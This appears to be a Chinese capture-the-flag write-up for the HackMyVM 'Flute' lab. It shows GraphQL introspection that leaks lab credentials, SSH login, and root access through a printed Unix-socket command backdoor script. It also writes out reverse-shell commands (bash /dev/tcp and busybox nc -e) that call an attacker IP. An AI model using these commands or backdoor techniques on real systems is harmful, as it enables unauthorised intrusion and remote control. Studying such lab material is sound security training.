当前位置: 首页 > news >正文

【HackMyVM】Flute

基础信息

靶机下载地址:https://hackmyvm.eu/machines/machine.php?vm=Flute

Flute地址:192.168.1.6

信息收集

查找存活主机

sudo arp-scan --interface eth2 192.168.1.0/24

经过筛查可知192.168.1.6就是Flute靶机的IP地址

端口扫描

扫描下Flute靶机的端口开放情况,发现开放了22和8888端口

sudo nmap -sS -f 192.168.1.6

那么我们访问下8888端口

tscan指纹识别是Apollo的GraphQL

1、传统 REST 接口 传统的REST接口 你开发 APP / 网页,要拿数据,后端给你一个个地址: - /获取用户信息 - /获取我的文章 - /获取文章评论 老方式的两个痛点 1.拿多了没用的数据我只想看用户名,结果接口把年龄、手机号、生日全都返给我,浪费流量、浪费性能。 2.要多次请求想看「用户信息 + 他的 3 篇文章」,得发2 次网络请求,慢、耗电。 2、什么是 GraphQL GraphQL 就一句话:我前端想要什么字段,我自己写出来,后端就只给我返回我要的,不多给、不少给。 举个超级通俗的例子: 生活版类比 - REST 像套餐:商家给你固定套餐,不管你吃不吃,全都给你上齐。 - GraphQL 像单点:你直接说「我只要米饭 + 鸡蛋,别的不要」,商家就只给你这两样。 3、什么是ApolloGraphQL GraphQL 是规矩、语言(就像英语)ApolloGraphQL 是现成的工具包(就像英语教材 + 翻译软件)小白不用自己从零手写 GraphQL 底层,直接用 Apollo 就能快速前后端搭好 GraphQL。

目录扫描

看看目录扫描有没有其他什么有用的信息,发现没有其他敏感文件的泄露

dirsearch -u http://192.168.1.6:8888/ -e * -t 25 --random-agent

那么我们就仔细看下网站

网站下面还给了一个查询测试例子

执行后回返回查询对象的类型名称

GraphQL内省漏洞

GraphQL 有一个默认开启的功能,叫内省(Introspection)。 简单说: - 普通查询:查用户的名字和头像 → 拿业务数据 - 内省查询:告诉我这个 GraphQL 接口里,所有能查的东西、所有字段、所有类型 → 拿接口说明书 它本来是给开发环境用的:方便前端看后端有哪些字段、怎么调用,相当于自动生成接口文档。 Apollo Server 等框架默认开启,很多人上线时忘了关。
什么是 “内省查询漏洞”? 生产环境没关闭内省 → 任何人都能拿到你的完整接口结构 → 泄露敏感信息 + 为后续攻击铺路。

检测漏洞是否存在

可以通过发现这段查询语句检测漏洞是否存在,下面这段语句查询__schema表的内容

而__schema表是系统表,如果我们普通用户可以查询到结果,那么就说明存在内省漏洞

可以看到当我发送这段语句之后,服务器返回了结果

curl -X POST -H "Content-Type: application/json" \ --data '{"query":"{__schema{types{name,fields{name}}}}"}' \ http://192.168.1.6:8888/ {"data":{"__schema":{"types":[{"name":"User","fields":[{"name":"username"},{"name":"password"}]},{"name":"String","fields":null},{"name":"Query","fields":[{"name":"users"},{"name":"user"}]},{"name":"Boolean","fields":null},{"name":"__Schema","fields":[{"name":"description"},{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"specifiedByURL"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"},{"name":"isOneOf"}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"isRepeatable"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null}]}}}

返回的内容如下

{ "data":{ "__schema":{ "types":[ { "name":"User", "fields":[ { "name":"username" }, { "name":"password" } ] }, { "name":"String", "fields":null }, { "name":"Query", "fields":[ { "name":"users" }, { "name":"user" } ] }, { "name":"Boolean", "fields":null }, { "name":"__Schema", "fields":[ { "name":"description" }, { "name":"types" }, { "name":"queryType" }, { "name":"mutationType" }, { "name":"subscriptionType" }, { "name":"directives" } ] }, { "name":"__Type", "fields":[ { "name":"kind" }, { "name":"name" }, { "name":"description" }, { "name":"specifiedByURL" }, { "name":"fields" }, { "name":"interfaces" }, { "name":"possibleTypes" }, { "name":"enumValues" }, { "name":"inputFields" }, { "name":"ofType" }, { "name":"isOneOf" } ] }, { "name":"__TypeKind", "fields":null }, { "name":"__Field", "fields":[ { "name":"name" }, { "name":"description" }, { "name":"args" }, { "name":"type" }, { "name":"isDeprecated" }, { "name":"deprecationReason" } ] }, { "name":"__InputValue", "fields":[ { "name":"name" }, { "name":"description" }, { "name":"type" }, { "name":"defaultValue" }, { "name":"isDeprecated" }, { "name":"deprecationReason" } ] }, { "name":"__EnumValue", "fields":[ { "name":"name" }, { "name":"description" }, { "name":"isDeprecated" }, { "name":"deprecationReason" } ] }, { "name":"__Directive", "fields":[ { "name":"name" }, { "name":"description" }, { "name":"isRepeatable" }, { "name":"locations" }, { "name":"args" } ] }, { "name":"__DirectiveLocation", "fields":null } ] } } }

如何在这么多返回信息中定位自己想要的东西?

1、我们通过定位Query 就可以知道我们可以调用的接口

可以看到我们可以调用users和user两个接口

{ "name":"Query", "fields":[ { "name":"users" }, { "name":"user" } ] },

2、然后我们看看User 的字段,可以看到有username和password两个

{ "name": "User", "fields": [ {"name": "username"}, {"name": "password"} ] }

读取账号密码

那么我们查询了users

curl -X POST -H "Content-Type: application/json" \ --url 'http://192.168.1.6:8888/' \ --data '{"query":"{ users { username password } }"}'
这里为什么没有Users的描述,但是我们查询Users的时候采用User的字段描述来进行查询? 因为GraphQL的设计规则就是这样的 - users → 返回一组 User(列表) - user → 返回一个 User(单个) - 它们返回的内容,都是同一个结构:User Users就是返回User的全部内容,不需要单独建一个Users表的描述,我们通过请求请求Users可以拿出所有用户的数据

可以看到得到2个账户和密码

{"data":{"users":[{"username":"admin","password":"imtherealadmin"},{"username":"hamelin","password":"comewithmerats"}]}}

登录靶机SSH

经过尝试发现可以使用下面的这个账户登录靶机的SSH

hamelin comewithmerats

使用hamelin账号成功登录

获得user flag

提权

查看系统信息

cat /etc/issue cat /etc/os-release

可以看到是Alpine Linux,这种系统一般都是比较精简,也会安装一些安全补丁

这个系统的核心设计理念是简单、安全和资源高效,这使得它特别适合用于容器、边缘计算和嵌入式系统等场景。

查看当前用户有哪些sudo权限

执行下面命令,来查看当前用户被允许用 sudo 执行哪些命令(以及是否要密码)

发现不存在sudo命令

sudo -l

查看root身份运行的非系统核心进程

通过下面命令列出进程,我们需要寻找那种以root身份运行的非系统核心进程

因为这个进程如果存在任何配置错误、逻辑漏洞或安全弱点,攻击者就有可能通过它来劫持root权限

ps -ef

可以看到有一个ratd.py脚本,以root身份运行,并且是/opt目录中的

/usr:系统自带、发行版官方软件 /opt:非系统自带、第三方、手动安装的大型软件

那么我们可以看看这个ratd.py是否可以利用

Unix 套接字后门程序

这是一个很明显的后门程序

import socket import os # 创建一个 Unix 域套接字(只允许本机内部进程通信,不联网),用于本机程序之间相互发送数据 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # socket套接字的接口文件,类似于缓存文件 socket_path = "/tmp/ratd.sock" # 如果这个文件之前就存在就删除,避免绑定失败 if os.path.exists(socket_path): os.remove(socket_path) # 将套接字绑定在这个临时文件上 sock.bind(socket_path) # 将这个套接字缓存文件权限改为777,就意味着所有人都可以修改这个文件 os.chmod(socket_path, 0o777) # 套接字开启监听 sock.listen(1) print("Rat daemon running...") while True: # 套接字接收消息 conn, _ = sock.accept() data = conn.recv(1024).decode() # 如果接收到的数据是以“RUN ” 开头,就会读取后门的字符并用os.system执行 if data.startswith("RUN "): cmd = data[4:] os.system(cmd) conn.send(b"OK\n") else: conn.send(b"Unknown command\n") conn.close()

那么我们尝试运行下面这个命令

# -U:表示Unix 域套接字,用于连接本地.sock 文件(本机进程间通信) echo "RUN mkdir /tmp/test" | nc -U /tmp/ratd.sock

可以看到成功以root的权限创建了一个test文件

反弹shell

我们首先在kali上监听8888端口

然后再靶机上尝试反弹shell都不行

echo "RUN bash -i >& /dev/tcp/192.168.1.8/8888 0>&1" | nc -U /tmp/ratd.sock echo "RUN sh -i >& /dev/tcp/192.168.1.8/8888 0>&1" | nc -U /tmp/ratd.sock

使用busybox的nc进行反弹shell

发现目标主机存在busybox

BusyBox 是一个「超级工具箱」,把几百个 Linux 常用命令,打包成一个很小的二进制文件

那么可以使用busbox反弹shell,下面这2个都可以

bash和ash区别是什么? 你平时电脑用的是 /bin/bash(功能全、体积大) 嵌入式设备用的是 /bin/ash(体积小、精简、够用) 对比 - bash:功能多、自动补全、历史记录 → 电脑 / 服务器用 - ash:极简、体积小、省内存 → 路由器、摄像头、IoT 设备、busybox 系统用

sh和ash都可以反弹

busybox nc 192.168.1.8 8888 -e /bin/sh echo "RUN busybox nc 192.168.1.8 8888 -e /bin/sh" | nc -U /tmp/ratd.sock busybox nc 192.168.1.8 8888 -e /bin/ash echo "RUN busybox nc 192.168.1.8 8888 -e /bin/ash" | nc -U /tmp/ratd.sock

结果如下图所示,得到root flag

http://www.jsqmd.com/news/774917/

相关文章:

  • 前端安全:XSS防御最佳实践
  • 下载安装 Temurin® JDK JDK 21 - LTS 速度很慢,有办法加速吗?
  • 【AISMM权威认证路径】:为什么头部科技公司已将AISMM Level 3设为CTO晋升硬门槛?
  • 为什么国内云厂商都在力推 OpenClaw(小龙虾)?
  • 内存级向量检索库memsearch:原理、实战与性能调优
  • python系列【仅供参考】:js2py模块--python中执行js
  • 如何在手机上3步完成Android内核刷入:Horizon Kernel Flasher终极指南
  • 使用gradient-cursor库为网页打造个性化渐变动态光标
  • 基于Alpine的paretOS:轻量级容器化操作系统的核心设计与实践
  • 深度强化学习与图神经网络:智能路由优化终极指南
  • YOLO26-seg分割原创自研:特征融合创新 | 一种具有切片操作的SimAM注意力的内容引导注意力(CGA)的混合融合方案
  • ZYNQ裸机双网口实战:手把手教你修改LWIP库以支持KSZ9031 PHY与EMIO配置
  • 深入Android Framework:构建稳定、高效的无人售卖机系统
  • 前端工程化:代码规范最佳实践
  • 私有化部署ChatGPT Web应用:从架构解析到实战部署指南
  • 对比 Taotoken 模型广场中不同模型的特性与适用场景
  • Vector加密狗驱动备份与还原实操:破解前后如何灵活切换使用状态
  • 在线图片去水印网站怎么用?图片去水印工具推荐,2026免费图片去水印软件实测盘点
  • AI代码审查实战:基于LLM的自动化代码质量提升方案
  • 量子计算中时间相关噪声建模与算法性能预测
  • 2026年4月澳门正规的汽车租赁公司推荐,班车租赁/跨境租车/租车/自驾租车/中巴租赁/中巴租车,汽车租赁企业怎么选择 - 品牌推荐师
  • Helios加速器:突破LLM推理瓶颈的近内存处理技术
  • D2RML:暗黑破坏神2重制版终极多开解决方案,3分钟告别繁琐登录
  • RepoToText:智能代码仓库文本化工具的设计原理与工程实践
  • AI智能体驱动TDD:agent-flow-tdd框架实战与优化指南
  • 开源协作平台Eclaire:以代码变更为核心,连接开发全流程
  • 2026 AI大模型接口中转站实测:谁能成为企业级长期稳定运行的不二之选?
  • 基于Xilinx Open-NIC-Shell的FPGA智能网卡开发实战指南
  • 从‘乱打’到‘精打’:用CAPL的writeDbgLevel和writeToLogEx构建可维护的车载测试脚本
  • Revit水闸BIM建模实战:从族库搭建到项目集成的保姆级流程